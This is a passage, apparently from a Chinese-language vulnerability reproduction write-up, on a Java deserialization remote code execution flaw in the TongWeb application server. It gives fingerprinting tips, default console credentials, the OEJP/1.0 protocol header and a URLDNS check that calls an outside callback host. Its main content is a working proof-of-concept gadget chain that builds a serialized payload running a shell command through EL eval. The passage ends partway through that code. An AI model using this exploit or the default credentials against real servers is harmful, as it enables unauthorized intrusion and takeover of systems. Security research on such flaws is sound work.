+**注意:父类 Reference的私有字段(className、addrs 等)也要通过 ct.addField补齐,否则反序列化会报 EOFException。**
+### 方案 C:使用现有安全工具框架
+
+ysoserial 已经支持自定义 Gadget,只需:
+1. 把 TongWebGadget
+按模板提交 PR;
+
+1. 指定 forceString=x=eval
+和 EL
+表达式即可。
+
+框架会自动处理 ClassLoader、UID、字段对齐等问题。
+
+### 特别注意事项:OEJP/1.0 头
+
+TongWeb 在 **非标准端口**
+监听,协议格式为: OEJP/1.0 + 1 字节版本号(POC里写1) + Java 原生序列化流
+- **脱离环境构造时:**
+6 字节头 + 1 字节版本必须原样保留;
+
+- **版本匹配:**
+如果目标服务器的 ResourceRef
+与本地伪造类的 serialVersionUID
+不一致,服务端会在 ObjectInputStream.readClassDesc()
+阶段直接抛 InvalidClassException
+,请求被丢弃,**不会进入 Gadget 逻辑**
+;
+
+- **父类字段:**
+即使 UID 相同,Reference
+的私有字段布局一旦对不上,也会抛 EOFException
+,同样无法利用。
+
+# 0x05 漏洞复现
+## TongWeb指纹
+### 1. HTTP 响应头
+- Server: TongWeb Server
+
+
+
+
+### 2. 默认管理控制台路径与标题
+
+TongWeb 的管理后台具有非常明显的特征,默认情况下开放于 **9060**
+端口。
+- **默认路径:**/console/
+
+- **页面标题 (Title):**TongWeb
+
+- **登录页特征:**
+页面通常包含东方通的 Logo。
+
+### 3. 默认端口特征
+
+ | | | |
|---|
| 管理控制台 | | http://<ip>:9060/console | 首次登录账号 thanos / thanos123.com,会被强制改密。 |
| 业务应用 | | http://<ip>:8088/<应用上下文> | 部署 WAR 后,TongWeb 自动把应用映射到此端口。 |
+
+
+## 反序列化链验证
+
+写一个URLDNS链:
+```
+import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; publicclass Main { public static void main(String[] args) throws Exception { HashMap h=new HashMap(); URL url=new URL("https://bxxqes8f.requestrepo.com/"); Class cls=Class.forName("java.net.URL"); Field f = cls.getDeclaredField("hashCode"); f.setAccessible(true); f.set(url,1); h.put(url,1); f.set(url,-1); FileOutputStream fileOutputStream = new FileOutputStream("ser.bin"); fileOutputStream.write("OEJP/1.0".getBytes("UTF-8")); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeByte(1); objectOutputStream.writeObject(h); objectOutputStream.close(); } }
+```
+
+成功接收到了回显!
+
+## RCE
+
+构造PoC:
+- PoC 最好放在源码的 lib/
+目录下编译并运行
+
+- 运行后会生成一个后缀为 .ser
+的恶意文件
+
+- 推荐运行的 JDK 版本为 1.8
+
+```
+import com.tongweb.naming.ResourceRef; import com.tongweb.xbean.naming.context.ContextUtil; import com.tongweb.xbean.naming.context.WritableContext; import sun.reflect.ReflectionFactory; import javax.management.BadAttributeValueExpException; import javax.naming.Context; import javax.naming.StringRefAddr; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; publicclass Poc { public static void main(String[] args) throws Exception { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "com.tongweb.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"touch /tmp/success\")")); Context ctx = (Context) createWithoutConstructor(WritableContext.class); ContextUtil.ReadOnlyBinding binding = new ContextUtil.ReadOnlyBinding("foo",resourceRef,ctx); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null); setFieldValue(badAttributeValueExpException,"val",binding); FileOutputStream fileOutputStream = new FileOutputStream("ser.bin"); fileOutputStream.write("OEJP/1.0".getBytes("UTF-8")); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeByte(1); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close(); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); } publicstatic T createWithoutConstructor(Class cls) { try { ReflectionFactory rf = ReflectionFactory.getReflectionFactory(); Constructor